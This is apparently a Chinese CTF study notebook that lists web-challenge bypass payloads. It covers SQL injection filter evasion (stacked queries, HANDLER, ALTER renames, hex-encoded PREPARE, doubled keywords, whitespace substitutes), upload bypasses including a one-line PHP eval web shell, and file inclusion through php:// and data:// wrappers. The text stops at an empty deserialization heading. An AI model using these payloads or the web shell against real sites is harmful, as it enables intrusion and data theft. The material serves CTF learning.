最近疯狂刷题,但是发现效果微乎其微,静下来思考,😔需要沉淀,趁我还记得,我想把一些做题遇到的绕过|思路记录下来

SQL注入

一、正则过滤select等函数

1
preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

绕过思路

堆叠注入

爆库

1
1';show databases;#

爆表

1
1';show tables;#

爆某表的列

1
1';show columns from table;#

爆数据(select被过滤情况下失效)

1
1';select flag from table;#

堆叠注入+handler

前面的操作与上面相同,爆数据时

1
2
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ next;HANDLER `1919810931114514` CLOSE;#
#``包裹的是一个纯数字表名。

堆叠注入+alter

如何alter没有被过滤,爆数据时可以

1
2
1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
#就是猜测原本的sql语句的意思,然后在爆出库名表名列名的基础上,将目标表名列名改成select子句的数据,比如原本的select子句是'select id from words',那我在使用上述sql语句后,在返回登录框使用万能密码便可以直接爆出flag。

堆叠注入+预编译

因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:
预编译相当于定一个语句相同,参数不同的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤,格式:

1
2
3
1PREPARE 名称 FROM Sql语句 ? ;
2SET @x=xx;
EXECUTE 名称 USING @x;

例子:

1
1';PREPARE hacker from concat('s','elect', ' * from \`1919810931114514\` ');EXECUTE  hacker;#
1
2
也可以将select * from \`1919810931114514\`语句进行16进制编码,即:0x73656c656374202a2066726f6d2060313931393831303933313131343531346
1';PREPARE ck from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE ck;#

堆叠注入+Mysql预处理

利用 MySql 预处理
使用条件:HANDLER 也被过滤了。
在遇到堆叠注入时,如果 select、rename、alter 和 handler 等语句都被过滤的话,我们可以用 MySql 预处理语句配合 concat 拼接来执行 sql 语句拿 flag。

不安全的过滤

如果对方多此一举,对or存在一个过滤为空的操作,那可以把or插入select等,如

1
1' unioorn seleorct 1,group_concat(column_name),3 frorom infoorrmation_schema.columns wherore table_name='b4bsql'#

union查询特性

如果没过滤select|union,其他全过滤
利用sqli的特性:当union联合查询不存在的数据时,联合查询就会构造一个虚拟的数据
联合注入添加临时用户(前提,知道username、password的字段以及位置)

1
2
1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
#admin存在,但这个密码字段不存在,那就成功添加了一个临时用户(password值必须为md5)

二、or被过滤

绕过思路

堆叠注入

爆库

1
1';show databases;#

爆表

1
1';show tables;#

爆某表的列

1
1';show columns from table;#

爆数据

1
1'select flag from table;#

双写or

1
1' oorr 1=2#

三、空格被过滤

绕过思路

内联注释代替空格

1
1'/**/or/**/1=1#

()代替空格

1
1or(1=1)union(select(1),(select(group_concat(column_name))from(information_schema.columns)where(table_schema=‘web2’)and(table_name=‘flag’)),3)#

一堆杂七杂八代替空格

1
2
3
4
5
6
7
8
<
<>
${IFS},
$IFS,
%20 ## 空格
%09 ## tab
$IFS$9
$IFS$1

文件上传

绕过思路

黑名单正则匹配后缀绕过

1
2
3
if (preg_match("/ph|htacess/i", $extension)) {//黑名单正则过滤
die("illegal suffix!");
}

(1)、垃圾符号
就是加入很多符号,企图让其崩。
详情:https://blog.csdn.net/qq_53079406/article/details/123525882
(2)、配置文件+图片马
apache的.htaccess
php通用的.user.ini
https://www.cnblogs.com/gaonuoqi/p/12337572.html

若检测文件的内容如何绕过

1
2
3
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {//对文件内容进行检测
die("&lt;? in contents!");
}

(1)、改用script脚本

1
<script language='php'>eval($_REQUEST[1]);</script>

exif_imagetype函数绕过

1
2
3
4
$image_type = exif_imagetype($tmp_name);//再次对文件的类型进行过滤
if (!$image_type) {
die("exif_imagetype:not image!");
}

这里介绍一下exif_imagetype()。

1
2
3
4
5
6
7
# exif_imagetype — 判断一个图像的类型
# 语法
exif_imagetype(string $filename): int
$filename 被检查的图像文件名。
# 返回值:如果发现了恰当的签名则返回一个对应的常量,否则返回 false
# exif_imagetype() 读取一个图像的第一个字节并检查其签名。
# 本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 $_SERVER['HTTP_ACCEPT'] 结合使用来检查浏览器是否可以显示某个指定的图像。

(1)、魔术幻术头
在文件前添加GIF89a然后上传。

文件包含

解题|绕过思路

自我感觉:文件包含这鸟题多和php伪协议相关,建议学习一下php伪协议

file_get_contents函数

data://text/palin

1
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

file_get_contents ($text,’r’) 是读取文件的内容,说明我们首先要上传一个文件,并且它的内容还得是”welcome to the zjctf”,我们考虑用 data 协议,data 协议通常是用来执行 PHP 代码,然而我们也可以将内容写入 data 协议中的逗号后面然后让 file_get_contents 函数取读取。
payload

1
2
3
?text=data://text/plain,welcome to the zjctf

?text=data://text/plain;base64,(welcome to the zjctf)的base64

php://input/

其实使用 php://input 也可以实现绕过

1
2
POST /?text=php://input
xxxx#为传入的数据或想要执行的代码

但是只支持 post,如果是 get,请使用 data://text/plain。

include($file)函数

可以读取文件

比如

1
2
$file=key.php;
include($file);

就可以

1
?filename=php://filter/read=convert.base64-encode/resource=key.php

进行读取这个包含的文件。

include($_GET[‘filename’])函数

任意代码执行

存在文件包含:

1
2
3
4
<?php
error_reporting(0);
include($_GET['filename']);
?>

那么可以

1
?filename=php://input

然后post传递要执行的php代码,如

1
<?php system("ls");?>

文件包含配合伪协议实现任意代码|命令执行。

php反序列化